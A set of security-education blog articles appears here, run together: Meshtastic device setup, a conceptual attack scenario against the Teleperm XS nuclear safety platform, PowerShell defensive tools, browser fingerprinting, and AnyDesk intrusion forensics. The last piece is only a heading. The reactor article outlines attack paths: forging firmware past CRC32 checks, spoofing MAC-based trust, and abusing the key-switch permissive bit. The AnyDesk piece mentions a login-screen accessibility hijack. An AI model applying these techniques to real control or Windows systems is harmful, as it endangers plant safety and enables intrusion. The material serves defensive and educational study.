Welcome back, aspiring cyberwarriors!

Traditional methods of communication leave us vulnerable and reliant on systems controlled by companies and governments that have demonstrated they can’t be trusted with our data. Cell towers can be turned off, internet connections can be monitored, and messaging apps can be hacked or give your messages to the government without telling you. Meshtastic lets you build your own communication network that works completely on its own, without any central authority.

In this article, we will configure Meshtastic firmware on the Lilygo T-Echo device and connect it to the mesh network. Let’s get rolling!

What is Lilygo T-Echo?

The Lilygo T-Echo is a small device that has a Nordic nRF52840 chip, a Semtech SX1262 LoRa radio, and an e-paper screen. This configuration makes it great for mesh networking when you need long battery life and long-range communication. The device can talk to other Meshtastic nodes from several kilometers away in cities and possibly tens of kilometers away in open areas, all while using very little power. You can find a list of devices compatible with Meshtastic after the link. The installation process will be similar to that of the Lilygo T-Echo. But different countries use diverse frequency ranges, so this should be taken into account when purchasing a device.

Step #1: Install the Meshtastic Firmware

Before your T-Echo or any other Meshtastic-compatible device can join a mesh network, you need to flash it with the Meshtastic firmware. The device ships with factory firmware that needs to be replaced with the Meshtastic software stack.

First, navigate to the official Meshtastic web flasher at flasher.meshtastic.org. You will see options for different device types and firmware versions.

Choose your device from the list and the firmware version. After that, connect your Lilygo T-Echo to your computer using a USB-C cable and click Flash.

You might need to trigger DFU mode. To do so, just click Button 1, as shown in the screenshot below.

First, download the UF2 file and copy it to the DFU drive. Once the transfer is complete, the device will automatically reboot and start with the new firmware.

Next, hold down button 2 to select your region and generate a random node name.

Step #2: Install the Meshtastic Mobile Application

To interact with your T-Echo from your smartphone, you need to install the official Meshtastic application. This app serves as your primary interface for sending messages, viewing the mesh network, and configuring your device settings.

On Android devices, open the Google Play Store or F-Droid and search for “Meshtastic.” The official application is published by Meshtastic LLC and should appear at the top of your search results.

The app requires several permissions, including Bluetooth access and location services, which are necessary for communicating with your T-Echo and displaying your position on the mesh if you choose to share location data.

Once the installation completes, open the Meshtastic app. You will be greeted with a welcome screen like the one below.

Step #3: Pair Your T-Echo with Your Smartphone

Now comes the important step of connecting your phone to your T-Echo device. This pairing process creates a secure Bluetooth link that lets your phone set up the device and send messages through it.

In the Meshtastic mobile app, look for a Scan button. The app will begin scanning for nearby Meshtastic devices that are broadcasting their availability over Bluetooth.

Tap on your T-Echo’s name in the device list to initiate the pairing process. The app will attempt to establish a connection with the device. During this process, the app may require you to enter a PIN code displayed on your T-Echo’s screen, though this security feature is not always enabled by default.

Once the pairing completes successfully, the app interface will change to show that you are connected to your device. You should see your node name at the top of the screen, along with battery level, signal strength, and other status information.

At this point, your phone can communicate with your T-Echo, but you are not yet part of a mesh network unless there are other Meshtastic nodes within radio range. The connection you have established is purely between your phone and your device over Bluetooth. The mesh networking happens over the LoRa radio, which operates independently of the Bluetooth connection.

Step #4 Customize Your Node Configuration

Open the Meshtastic app and go to the settings menu, indicated by a gear icon. In the settings, you will find several categories, including Device, Radio Configuration, Module Configuration, and more.

Start with the User settings. Here you can change your node’s name from the randomly generated default to something more meaningful. Tap on the Long Name field and enter a name that identifies you or your device. This name will be visible to other users on the mesh, so choose something appropriate. You can use up to 40 characters, though shorter names are generally better for display purposes. Below the long name, you will see a Short Name field limited to four characters.

In the Radio Configuration section, you will find settings that control how your T-Echo communicates over the LoRa radio. The most important setting here is the Region, which must be set correctly for your geographic location to comply with local radio regulations. For users in North America, select US. European users should select their specific country or the general EU_868 or EU_433 option depending on the frequency band they are using.

The Modem Preset determines the balance between range, speed, and reliability for your radio communications. The default setting is typically Long Fast, which provides a good compromise for most users. This preset utilizes a spreading factor of 11, which provides the best range while maintaining reasonable data rates for text messaging.

The Number of Hops setting controls how many times a message can be retransmitted through the mesh before it is dropped. The default value of 3 is suitable for most networks, enabling messages to travel through multiple nodes to reach distant recipients without generating excessive radio traffic. Besides that, you will find options for enabling various Meshtastic features, like MQTT, GPS, and Telemetry. We’ll explore these topics in future articles.

Important Note: By default, all nodes use a common encryption key, which means anyone with a Meshtastic device can read your messages. You can create private channels, but this goes out of the scope of this article.

Step #5: Send Your First Message

In the Meshtastic app, navigate to the Messages tab or screen. You will see a list of available channels. The LongFast channel is created by default and is where most mesh communication happens. Tap on this channel to open the message interface.

At the bottom of the screen, you will find a text input field where you can write your message. Please remember that Meshtastic is meant for short text messages, with a limit of 200 characters. Tap the send button to transmit your message.

Your T-Echo will receive the message from your phone over Bluetooth and then broadcast it over the LoRa radio. If there are other Meshtastic nodes within range, they will receive your message and display it to their users. If your message needs to reach a node that is not in direct radio range, intermediate nodes will automatically relay it through the mesh until it reaches its destination or the hop limit is exceeded.

You will see your message appear in the conversation thread with a timestamp. If other nodes are present on the mesh, you may see responses or other messages from those users. In my case, we can see somebody leave an emoji on my message. Besides that, T-Echo notifies you on its screen when you receive a new message, and you can switch to the Message tab by clicking Button 2.

Summary

In a world where our communications are constantly monitored, logged, and sold to the highest bidder, Meshtastic running on affordable hardware like the Lilygo T-Echo offers a way to communicate independently. This technology puts the power back in your hands, letting you create mesh networks that work completely outside the control of telecom companies and government surveillance. Whether you’re coordinating security in areas without cell coverage, preparing backup communications for when regular systems fail, or simply want to talk to your team without companies reading every word, Meshtastic gives you the tools you need.

Keep coming back, aspiring off-grid users! We’re diving deeper into this topic, so stay tuned for more updates.

Welcome back, aspiring cyberwarriors.

Imagine the following scene. Evening. You are casually scrolling through eBay. Among the usual clutter of obsolete electronics and forgotten hardware, something unusual appears. It’s heavy industrial modules, clearly not meant for hobbyists. On the circuit boards you recognize familiar names: Siemens. AREVA. The listing description is brief, technical, and written by someone who knows what they are selling. The price, however, is unexpectedly low.

What you are looking at are components of the Teleperm XS system. This is a digital control platform used in nuclear power plants. Right now, this class of equipment is part of the safety backbone of reactors operating around the world. One independent security researcher, Rubén Santamarta, noticed the same thing and decided to investigate. His work over two decades has covered everything from satellite communications to industrial control systems, and this discovery raised a question: what happens if someone gains access to the digital “brain” of a nuclear reactor? From that question emerged a modeled scenario sometimes referred to as “Cyber Three Mile Island,” which is a theoretical chain of events that, under ideal attacker conditions, leads to reactor core damage in under an hour.

We will walk through that scenario to help you understand these systems.

Giant Containers

To understand how a nuclear reactor could be attacked digitally, we first need to understand how it operates physically. There is no need to dive into advanced nuclear physics. A few core concepts and some practical analogies will take us far enough.

Three Loops

At its heart, a pressurized water reactor (PWR) is an extremely sophisticated and very expensive boiler. In simplified form, it consists of three interconnected loops.

The first loop is the reactor itself. Inside a thick steel vessel sit fuel assemblies made of uranium dioxide pellets. This is where nuclear fission occurs, releasing enormous amounts of heat. Water circulates through this core, heating up to around 330°C. To prevent boiling, it is kept under immense pressure (about 155 atmospheres). This water becomes radioactive and never leaves the sealed primary circuit.

The second loop exists to convert that heat into useful work. The hot water from the primary loop passes through a steam generator, a massive heat exchanger. Without mixing, it transfers heat to a separate body of water, turning it into steam. This steam is not radioactive. It flows to turbines, spins them, drives generators, and produces electricity.

Finally, the third loop handles cooling. After passing through the turbines, the steam must be condensed back into water. This is done using water drawn from rivers, lakes, or the sea, often via cooling towers. This loop never comes into contact with radioactive materials.

With this structure in mind, we can now discuss what separates a reactor from a nuclear bomb. It’s control.

Reactivity

If a car accelerates when you press the gas pedal, a reactor accelerates when more neutrons are available. This is expressed through the multiplication factor, k. When k is greater than 1, power increases. When it is less than 1, the reaction slows. When k equals exactly 1, the reactor is stable, producing constant power.

Most neutrons from fission are released instantly, far too fast for any mechanical or digital system to respond. Fortunately, about 0.7% are delayed, appearing seconds or minutes later. That tiny fraction makes controlled nuclear power possible.

There is also a built-in safety mechanism rooted in physics itself. It’s called the Doppler effect. As fuel heats up, uranium-238 absorbs more neutrons, naturally slowing the reaction. This cannot be disabled by software or configuration. It is the reactor’s ultimate brake, supported by multiple engineered systems layered on top.

Nuclear Reactor Protection

Reactor safety follows a defense-in-depth philosophy, much like a medieval fortress. The fuel pellet itself retains many fission products. Fuel rod cladding adds another barrier. The reactor vessel is the next wall, followed by the reinforced concrete containment structure, often over a meter thick and designed to withstand extreme impacts. Finally, there are active safety systems and trained operators. The design prevents a single failure from leading to a catastrophe. For a disaster to occur, multiple independent layers must fail in sequence.

From a cybersecurity perspective, attention naturally turns to safety systems and operator interfaces. Sensors feed data into controllers, controllers apply voting logic, and actuators carry out physical actions. When parameters drift out of range, the system shuts the reactor down and initiates cooling. Human operators then follow procedures to stabilize the plant. It is an architecture designed to fail safely. That is precisely why understanding its digital foundations matters.

Teleperm XS: Anatomy of The Nuclear “Brains”

The Teleperm XS (TXS) platform, developed by Framatome, is a modular digital safety system used in many reactors worldwide. Its architecture is divided into functional units. Acquisition and Processing Units (APUs) collect sensor data, like temperature, pressure, neutron flux. Actuation Logic Units (ALUs) receive this data from multiple channels and decide when to trigger actions such as inserting control rods or starting emergency pumps.

The Monitoring and Service Interface (MSI) bridges two worlds. On one side is the isolated safety network using Profibus. On the other is a conventional local area network used by engineers.

The Service Unit (SU) is a standard computer running SUSE Linux. It is used for diagnostics, configuration, testing, and firmware updates. Critically, it is the only system allowed to communicate bidirectionally with the safety network through the MSI. TXS uses custom processors like the SVE2 and communication modules such as the SCP3, but it also relies on commercial components, such as Hirschmann switches, single-board computers, and standard Ethernet.

This hybrid design improves maintainability and longevity, but it also expands the potential attack surface. Widely used components are well documented, available, and easier to study outside a plant environment.

Hunting For Holes

Any attacker would be happy to compromise the Service Unit, since it provides access to the APU and ALU controllers, which directly control the physical processes in the reactor. However, on the way to this goal, you still have to overcome several barriers.

Problem 1: Empty hardware

Ruben unpacked the SVE2 and SCP3 modules, connected the programmer, and got ready to dump the firmware for reverse engineering, but a surprise was waiting for him. Unfortunately (or fortunately for the rest of the world), the devices’ memory was completely empty.

After studying the documentation, it became clear that the software is loaded into the controllers at the factory immediately before acceptance testing. The modules from eBay were apparently surplus stock and had never been programmed.

It turned out that TXS uses a simple CRC32 checksum to verify the integrity and authenticity of firmware. The problem is that CRC32 is NOT a cryptographic protection mechanism. It is merely a way to detect accidental data errors, similar to a parity check. An attacker can take a standard firmware image, inject malicious code into it, and then adjust a few bytes in the file so that the CRC32 value remains unchanged. The system will accept such firmware as authentic.

It reveals an architectural vulnerability embedded in the very design of the system. To understand it, we need to talk about the most painful issue in any security system: trust.

Problem 2: MAC address-based protection

The MSI is configured to accept commands only from a single MAC address. It’s the address of the legitimate SU. Any other computer on the same network is simply ignored. However, for an experienced hacker, spoofing (MAC address impersonation) poses no real difficulty. Such a barrier will stop only the laziest and least competent. For a serious hacking group, it is not even a speed bump, it is merely road markings on the asphalt. But there is one more obstacle called a physical key.

Problem 3: A key that is not really a key

U.S. regulatory guidance rightly insists that switching safety systems into programming mode requires physical action. A real key, a real human and a real interruption. An engineer must approach the equipment cabinet, insert a physical key, and turn it. That turn must physically break the electrical circuit, creating an air gap between the ALU and the rest of the world. Turning the key in a Teleperm XS cabinet does not directly change the system’s operating mode. It only sets a single bit (a logical one) on the discrete input board. In the system logic, this bit is called “permissive.” It signals to the processor: “Attention, the Service Unit is about to communicate with you, and it can be trusted.”

The actual command to change the mode (switching to “Test” or “Diagnostics”) arrives later over the network, from that same SU. The ALU/APU processor logic performs a simple check: “A mode-change command has arrived. Check the permissive bit. Is it set? Okay, execute.”

As a result, if malware has already been implanted in the ALU or APU, it can completely ignore this bit check. For it, the signal from the key does not exist. And if the malware resides on the SU, it only needs to wait until an engineer turns the key for routine work (such as sensor calibration) and use that moment to do its dirty work.

The lock becomes a trigger.

Summary

Part 1 establishes the foundation by explaining how nuclear power plants operate, how safety is enforced through layered engineering and physical principles, and also how digital control systems support these protections. By looking at reactor control logic, trust assumptions in safety architectures, and the realities of legacy industrial design, it becomes clear that cybersecurity risk comes not from a single vulnerability, but from the interaction of multiple small decisions over time. These elements on their own do not cause failure, but they shape an environment in which trust can be misused.

In Part 2, we shift our focus from structure to behavior. We will actively model a realistic cyber-physical attack and simulate how it unfolds in practice, tracing the entire sequence from an initial digital compromise.

Welcome back, aspiring DFIR defenders!

Welcome to the start of a new series dedicated to PowerShell for Defenders.

Many of you already know PowerShell as a tool of hackers. In our earlier PowerShell for Hackers series, we demonstrated just how much damage a skilled hacker can cause with it by taking over the entire organization with just one terminal window. In this new series, we flip the perspective. We are going to learn how to use it properly as defenders. There is far more to PowerShell than automation scripts and administrative shortcuts. For blue team operations, incident response, and digital forensics, PowerShell can become one of your most effective investigative instruments. It allows you to quickly process logs, extract indicators of compromise, and make sense of attacker behavior without waiting for heavy platforms.

Today, we will go through two PowerShell-based tools that are especially useful in defensive operations. The first one is DeepBlueCLI, developed by SANS, which helps defenders quickly analyze Windows event logs and highlight suspicious behavior. The second tool is WELA, a PowerShell script created by Yamato Security. WELA focuses on auditing and hardening Windows systems based on predefined security baselines. While both tools are PowerShell scripts, they serve different but complementary purposes. One helps you understand what already happened. The other helps you reduce the chance of it happening again.

DeepBlueCLI

DeepBlueCLI is a PowerShell-based tool created to help defenders quickly identify suspicious behavior in Windows event logs. Its strength lies in simplicity. You do not need complex configurations, long rule files, or a deep understanding of Windows internals to get started. DeepBlueCLI takes common attack patterns and maps them directly to event log indicators, presenting the results in a way that is easy to read and easy to act upon.

There are two main ways to use DeepBlueCLI. The first approach is by analyzing exported event logs, which is very common during incident response or post-incident forensic analysis. The second approach is live analysis, where the tool queries logs directly from the system it is running on. Both approaches are useful depending on the situation. During a live incident, quick answers matter. During forensic work, accuracy and context matter more.

A very helpful feature of DeepBlueCLI is that it comes with example event logs provided by the developer. These are intentionally crafted logs that simulate real attack scenarios, making them perfect for learning and practice. You can experiment and learn how attacker activity appears in logs. The syntax is straightforward.

Example Event Logs

In the example below, we take a sample event log provided by the developer and run DeepBlueCLI against it:

PS > .\DeepBlue.ps1 -file .\evtx\sliver-security.evtx

Sliver is a modern command-and-control framework often used by red teamers and real attackers as well. In the output of this command, we can see several interesting indicators. There is cmd.exe accessing the ADMIN$ share, which is a classic sign of lateral movement or administrative access attempts. We also see cmd.exe being launched via WMI through C:\Windows\System32\wbem\WmiPrvSE.exe. This is especially important because WMI execution is commonly used to execute commands remotely while avoiding traditional process creation patterns. Above that, we also notice cmd.exe /Q /c JOINT_BALL.exe. This executable is a Sliver payload. Sliver often generates payloads with seemingly random names.

Another example focuses on PowerShell obfuscation, which is a very common technique used to evade detection:

PS > .\DeepBlue.ps1 -file .\evtx\Powershell-Invoke-Obfuscation-many.evtx

In the results, we see very long command lines with heavily modified command names. This often looks like iNVOke variants or strange combinations of characters that still execute correctly. These commands usually pass through an obfuscation framework or an argument obfuscator, making them harder to read and harder for simple detections to catch. Occasionally, DeepBlueCLI struggles to fully decode these commands, especially when the obfuscation is layered or intentionally complex. This is not a weakness of the tool but rather a reflection of the logic behind obfuscation itself. The goal of obfuscation is to slow down defenders, and even partial visibility is already a win for us during investigation.

It is also worth mentioning that during real forensic or incident response work, you can export logs from any Windows machine and analyze them in exactly the same way. You do not need to run the tool on the compromised system itself.

Live Analysis

In some cases, speed matters more than completeness. DeepBlueCLI allows us to perform a quick live analysis by running PowerShell as an administrator and querying logs directly:

PS > .\DeepBlue.ps1 -log security

In this scenario, the tool immediately highlights suspicious behavior. For example, we can clearly see that several user accounts were subjected to brute-force attempts. One very practical feature here is that DeepBlueCLI counts the total number of failed logon attempts for us. Instead of manually filtering event IDs and correlating timestamps, we get an immediate overview that helps us decide whether further action is required.

WELA

WELA is a PowerShell script developed by Yamato Security that focuses on auditing and hardening Windows systems. Unlike DeepBlueCLI, which looks primarily at what happened in the past, WELA helps you understand the current security posture of a system and guides you toward improving it. It audits system settings against a predefined baseline and highlights areas where the configuration does not meet expected security standards. Because WELA uses advanced PowerShell techniques and low-level system queries, it is often flagged by antivirus as potentially malicious. This does not mean the script is harmful. The script is legitimate and intended for defensive use.

To begin, we can view the help menu to see what functionality the developer has included:

PS > .\WELA.ps1 help

From the available options, we can see that WELA supports auditing system settings using baselines provided by Yamato Security. This audit runs in the terminal and saves results to CSV files, which is often the preferred format for documentation and further analysis. For those who prefer a graphical interface, a GUI version is also available. Another option allows you to analyze the size of log files, either before or after configuration changes, which can be useful when tuning logging policies.

Updating Rules

Before performing any audit, it is a good idea to update the rules. For this to work smoothly, you first need to create a directory named config in the folder where the script resides:

PS > mkdir config

PS > .\WELA.ps1 update-rules

This ensures that the script has a proper location to store updated configuration data and avoids unnecessary errors.

Auditing

Once the rules are up to date, we are ready to audit the system and see where it meets the baseline and where it falls short. Many defenders prefer starting with the terminal output, as it is faster to navigate:

PS > .\WELA.ps1 audit-settings -Baseline YamatoSecurity

At this stage, the script reviews the current system settings and compares them against the selected baseline. The results clearly show which settings match expectations and which ones require attention.

The audit can be performed using the graphical interface:

PS > .\WELA.ps1 audit-settings -Baseline ASD -OutType gui

This option is particularly useful for presentations and reports. 

Check

After auditing, we can perform a focused check related to log file sizes:

PS > .\WELA.ps1 audit-filesize -Baseline YamatoSecurity

The output shows that the system is not hardened enough. This is not uncommon and should be seen as an opportunity rather than a failure. The entire purpose of this step is to identify weaknesses before a hacker does.

Hardening

Finally, we move on to hardening the system:

PS > .\WELA.ps1 configure -Baseline YamatoSecurity

This process walks you through each setting step by step, allowing you to make informed decisions about what to apply. There is also an option to apply all settings in batch mode without prompts, which can be useful during large-scale deployments.

Summary

PowerShell remains one of the most decisive tools on a modern Windows system, and that reality applies just as much to defenders as it does to attackers. In this article, you saw two PowerShell-based tools that address different stages of defensive work but ultimately support the same goal of reducing uncertainty during incidents and improving the security baseline before an attacker can exploit it.

We are also preparing dedicated PowerShell training that will be valuable for both defenders and red teamers. This training will focus on practical, real-world PowerShell usage in both offensive and defensive security operations and will be available to Subscriber and Subscriber Pro students from March 10-12.

Welcome back, aspiring forensics investigators.

In the previous article, we lifted the curtain on tracking technologies and showed how much information the internet collects from you. Many people still believe that privacy tools such as VPNs completely protect them, but as you are now learning, the story goes much deeper than that. Today we will explore what else is hiding behind the code. You will discover that even more information can be extracted from your device without your knowledge. And of course, we will also walk through ways to reduce these risks, because predictability creates patterns. Patterns can be tracked. And tracking means exposure.

Beyond Visuals

Most people assume fingerprinting is only about what you see on the screen. However, browser fingerprinting reaches far beyond the visual world. It also includes non visual methods that silently measure the way your device processes audio or stores small website assets. These methods do not rely on cookies or user logins. They do not require permission prompts. They simply observe tiny differences in system behavior and convert them into unique identifiers.

A major example is AudioContext fingerprinting. This technique creates and analyzes audio signals that you never actually hear. Instead, the browser processes the sound internally using the Web Audio API. Meanwhile favicon based tracking abuses the way browsers cache the small icons you see in your tab bar. Together, these methods help trackers identify users even if visual fingerprints are blocked or randomized. These non visual fingerprints work extremely well alongside visual ones such as Canvas and WebGL. One type of fingerprint reveals how your graphics hardware behaves. Another reveals how your audio pipeline behaves. A third records caching behavior. When all of this is combined, the tracking system becomes far more resilient. It becomes very difficult to hide, because turning off one fingerprinting technology still leaves several others running in the background.

Everything occurs invisibly behind the web page. Meanwhile your device is revealing small but deeply personal technical traits about itself. 

AudioContext Fingerprinting

AudioContext fingerprinting is built on the Web Audio API. This is a feature that exists in modern browsers to support sound generation and manipulation. Developers normally use it to create music, sound effects, and audio visualizations. Trackers, however, discovered that it can also be used to uniquely identify devices.

Here is what happens behind the scenes. A website creates an AudioContext object. Inside this context, it often generates a simple sine wave using an OscillatorNode. The signal is then passed through a DynamicsCompressorNode. This compressor highlights tiny variations in how the audio is processed. Finally, the processed audio data is read, converted into numerical form, and hashed into an identifier.

The interesting part is where the uniqueness comes from. Audio hardware varies greatly. Different manufacturers like Realtek or Intel design chips differently. Audio drivers introduce their own behavior. Operating systems handle floating point math in slightly different ways. All of these variations influence the resulting signal, even when the exact same code is used. Two computers will nearly always produce slightly different waveform results.

Only specific privacy protections can interfere with this process. Some browsers randomize or block Web Audio output to prevent fingerprinting. Others standardize the audio result across users so that everyone looks the same. But if these protections are not in place, your system will keep producing the same recognizable audio fingerprint again and again.

You can actually test this yourself. There are demo websites that implement AudioContext fingerprinting.

Favicon Supercookie Tracking

Favicons are the small images you see in your browser tabs. They appear completely harmless. However, the way browsers cache them can be abused to create a tracking mechanism. The basic idea is simple. A server assigns a unique identifier to a user and encodes that identifier into a specific pattern of favicon requests. Because favicons are cached separately from normal website data, they can act as a form of persistent storage. When the user later returns, the server instructs the browser to request a large set of possible favicons. Icons that are already present in the cache do not trigger network requests, while missing icons do. By observing which requests occur and which do not, the server can reconstruct the original identifier.

This is clever because favicon caches have traditionally been treated differently from normal browser data. Clearing cookies or browsing history often does not remove favicon cache entries. In some older browser versions, favicon cache persistence even extended across incognito sessions. 

There are limits. Trackers must maintain multiple unique icon routes, which requires server side management. Modern browsers have also taken steps to partition or isolate favicon caches per website, reducing the effectiveness of the method. Still, many legacy systems remain exposed, and clever implementations continue to find ways to abuse caching behavior.

Other Methods of Identification

Fingerprinting does not stop with visuals and audio. There are many additional identifiers that leak information about your device. Screen fingerprinting gathers details such as your screen resolution, usable workspace, color depth, pixel density, and zoom levels. These factors vary across laptops, desktops, tablets, and external monitors.

Font enumeration checks which fonts are installed on your system. This can be done by drawing hidden text elements and measuring their size. If the size changes, the font exists. The final list of available fonts can be surprisingly unique.

Speech synthesis fingerprinting queries the Web Speech API to discover which text to speech voices exist on your device. These are tied to language packs and operating system features.

The Battery Status API can reveal information about your battery capacity, charge state, and discharge behavior. This information itself is not very useful, but it helps illustrate how deep browser fingerprinting can go.

The website may also detect which Chrome plugins you use, making your anonymous identity even more traceable.

And this is still only part of the story. Browsers evolve quickly. New features create new opportunities for fingerprinting. So awareness is critical here.

Combined Threats and Defenses

When audio fingerprinting, favicon identifiers, Canvas, WebGL, and other methods are combined, they form what is often called a super fingerprint. This is a multi-layered identity constructed from many small technical signals. It becomes extremely difficult to change without replacing your entire hardware and software environment. This capability can be used for both legitimate analytics and harmful surveillance. Advertisers may track behavior across websites. Data brokers may build profiles over time. More dangerous actors may attempt to unmask users who believe they are anonymous.

Fortunately, there are tools that help reduce these risks. No defense is perfect. But layered protections can improve your privacy. For example, Tor standardizes many outputs, including audio behaviors and cache storage. But not everything, which means some things can expose you. Firefox includes settings such as privacy.resistFingerprinting that limit API details. Brave Browser randomizes or blocks fingerprinting attempts by default. Extensions such as CanvasBlocker and uBlock Origin also help reduce exposure, although they must be configured with care.

We encourage you to test your own exposure, experiment with privacy tools, and make conscious decisions about how and where you browse.

Conclusion

The key takeaway is not paranoia. Privacy tools do not eliminate fingerprinting, but defenses such as Tor, Brave, Firefox fingerprint-resistance, and well-configured extensions do reduce exposure. Understanding how non-visual fingerprints work allows you to make informed decisions instead of relying on assumptions. In modern browsing, privacy is not about hiding perfectly. It is about minimizing consistency and breaking long-term patterns.

Awareness matters. When you understand how you are being tracked, you’re far better equipped to protect your privacy.

Welcome back, aspiring digital forensics investigators!

AnyDesk first appeared around 2014 and very quickly became one of the most popular tools for legitimate remote support and system administration across the world. It is lightweight, fast, easy to deploy. Unfortunately, those same qualities also made it extremely attractive to cybercriminals and advanced persistent threat groups. Over the last several years, AnyDesk has become one of the preferred tools used by attackers to maintain persistent access to compromised systems.

Attackers abuse AnyDesk in a few different ways. Sometimes they install it directly and configure a password for unattended access. Other times, they rely on the fact that many organizations already have AnyDesk installed legitimately. All the attacker needs to do is gain access to the endpoint, change the AnyDesk password or configure a new access profile, and they now have quiet, persistent access. Because remote access tools are so commonly used by administrators, this kind of persistence often goes unnoticed for days, weeks, or even months. During that time the attacker can come and go as they please. Many organizations do not monitor this activity closely, even when they have mature security monitoring in place. We have seen companies with large infrastructures and centralized logging completely ignore AnyDesk connections. This has allowed attackers to maintain footholds across geographically distributed networks until they were ready to launch ransomware operations. When the encryption finally hits critical assets and the cryptography is strong, the damage is often permanent, unless you have the key.

We also see attackers modifying registry settings so that the accessibility button at the Windows login screen opens a command prompt with the highest privileges. This allows them to trigger privileged shells tied in with their AnyDesk session while minimizing local event log traces of normal login activity. We demonstrated similar registry hijacking concepts previously in “PowerShell for Hackers – Basics.” If you want a sense of how widespread this abuse is, look at recent cyberwarfare reporting involving Russia.

Kaspersky has documented numerous incidents where AnyDesk was routinely used by hacktivists and financially motivated groups during post-compromise operations. In the ICS-CERT reporting for Q4 2024, for example, the “Crypt Ghouls” threat actor relied on tools like Mimikatz, PingCastle, Resocks, AnyDesk, and PsExec. In Q3 2024, the “BlackJack” group made heavy use of AnyDesk, Radmin, PuTTY and tunneling with ngrok to maintain persistence across Russian government, telecom, and industrial environments. And that’s just a glimpse of it.

Although AnyDesk is not the only remote access tool available, it stands out because of its polished graphical interface and ease of use. Many system administrators genuinely like it. That means you will regularly encounter it during investigations, whether it was installed for legitimate reasons or abused by an attacker.

With that in mind, let’s look at how to perform digital forensics on a workstation that has been compromised through AnyDesk.

Investigating AnyDesk Activity During an Incident

Today we are going to focus on the types of log files that can help you determine whether there has been unauthorized access through AnyDesk. These logs can reveal the attacker’s AnyDesk ID, their chosen display name, the operating system they used, and in some cases even their IP address. Interestingly, inexperienced attackers sometimes do not realize that AnyDesk transmits the local username as the connection name, which means their personal environment name may suddenly appear on the victim system. The logs can also help you understand whether there may have been file transfers or data exfiltration.

For many incident response cases, this level of insight is already extremely valuable. On top of that, collecting these logs and ingesting them into your SIEM can help you generate alerts on suspicious activity patterns such as unexpected night-time access. Hackers prefer to work when users are asleep, so after-hours access from a remote tool should always trigger your curiosity.

Here are the log files and full paths that you will need for this analysis:

C:\Users\%username%\AppData\Roaming\AnyDesk\ad.trace
C:\Users\%username%\AppData\Roaming\AnyDesk\connection_trace.txt
C:\ProgramData\AnyDesk\ad_svc.trace
C:\ProgramData\AnyDesk\connection_trace.txt

AnyDesk can be used in two distinct ways. The first is as a portable executable. In that case, the user runs the program directly without installing it. When used this way, the logs are stored under the user’s AppData directory. The second way is to install AnyDesk as a service. Once installed, it can be configured for unattended access, meaning the attacker can log in at any time using only a password, without the local user needing to confirm the session. When AnyDesk runs as a service, you should also examine the ProgramData directory as it will contain its own trace files. The AppData folder will still hold the ad.trace file, and together these files form the basis for your investigation.

With this background in place, let’s begin our analysis.

Connection Log Timestamps

The connection_trace.txt logs are relatively readable and give you a straightforward record of successful AnyDesk connections. Here is an example with a randomized AnyDesk ID:

Incoming 2025–07–25, 12:10 User 568936153 568936153

The real AnyDesk ID has been redacted. What matters is that the log clearly shows there was a successful inbound connection on 2025–07–25 at 12:10 UTC from the AnyDesk ID listed at the end. This already confirms that remote access occurred, but we can dig deeper using the other logs.

Gathering Information About the Intruder

Now we move into the part of the investigation where we begin to understand who our attacker might be. Although names, IDs, and even operating systems can be changed by the attacker at any time, patterns still emerge. Most attackers do not constantly change their display name unless they are extremely paranoid. Even then, the timestamps do not lie. Remote logins occurring repeatedly in the middle of the night are usually a strong indicator of unauthorized access.

We will work primarily with the ad.trace and ad_svc.trace files. These logs can be noisy, as they include a lot of error messages unrelated to the successful session. A practical way to cut through the noise is to search for specific keywords. In PowerShell, that might look like this:

PS > get-content .\ad.trace | select-string -list 'Remote OS', 'Incoming session', 'app.prepare_task', 'anynet.relay', 'anynet.any_socket', 'files', 'text offers' | tee adtrace.log

PS > get-content .\ad_svc.trace | select-string -list 'Remote OS', 'Incoming session', 'app.prepare_task', 'anynet.relay', 'anynet.any_socket', 'files', 'text offers' | tee adsvc.log

These commands filter out only the most interesting lines and save them into new files called adtrace.log and adsvc.log, while still letting you see the results in the console. The tee command behaves this way both in Windows and Linux. This small step makes the following analysis more efficient.

IP Address

In many cases, the ad_svc.trace log contains the external IP address from which the attacker connected. You will often see it recorded as “Logged in from,” alongside the AnyDesk ID listed as “Accepting from.” For the sake of privacy, these values were redacted in the screenshot we worked from, but they can be viewed easily inside the adsvc.log file you created earlier.

Once you have the IP address, you can enrich it further inside your SIEM. Geolocation, ASN information, and historical lookups may help you understand whether the attacker used a VPN, a hosting provider, a compromised endpoint, or even their home ISP.

Name & OS Information

Inside ad.trace you will generally find the attacker’s display name in lines referring to “Incoming session request.” Right next to that field you will see the corresponding AnyDesk ID. You may also see references to the attacker’s operating system.

In the example we examined, the attacker was connecting from a Linux machine and had set their display name to “IT Dep” in an attempt to appear legitimate. As you can imagine, users do not always question a remote session labeled as IT support, especially if the attacker acts confidently.

Data Exfiltration

AnyDesk does not only provide screen control. It also supports file transfer both ways. That means attackers can upload malware or exfiltrate sensitive company data directly through the session. In the ad.trace logs you will sometimes see references such as “Preparing files in …” which indicate file operations are occurring.

This line alone does not always tell you what exact files were transferred, especially if the attacker worked out of temporary directories. However, correlating those timestamps with standard Windows forensic artifacts, such as recent files, shellbags, jump lists, or server access logs, often reveals exactly what the attacker viewed or copied. If they accessed remote file servers during the session, those server logs combined with your AnyDesk timestamps can paint a very clear picture of what happened.

In our case, the attacker posing as the “IT Dep” accessed and exfiltrated files stored in the Documents folder of the manager who used that workstation.

Summary

Given how widespread AnyDesk is in both legitimate IT environments and malicious campaigns, you should always consider it a high-priority artifact in your digital forensics and incident response workflows. Make sure the relevant AnyDesk log files are consistently collected and ingested into your SIEM so that suspicious activity does not go unnoticed, especially outside business hours. Understanding how to interpret these logs shows the attacker’s behavior that otherwise feels invisible.

Our team strongly encourages you to remain aware of AnyDesk abuse patterns and to include them explicitly in your investigation playbooks. If you need any support building monitoring, tuning alerts, or analyzing remote access traces during an active case, we are always happy to help you strengthen your security posture.

Welcome back, aspiring cyberwarriors!

If you’ve ever conducted an OSINT investigation, you probably know that the dark web is one of the hardest places to investigate. Whether you’re tracking ransomware groups or looking for leaked passwords manually searching through dark web results takes hours and gives you mostly junk and malware. This is where AI can change how you investigate. By using Large Language Models we can improve our searches and filter results faster. To do this, we have a tool called Robin.

In this article, we’ll explore how to install this tool, how to use it, and what features it provides. Let’s get rolling!

What is Robin

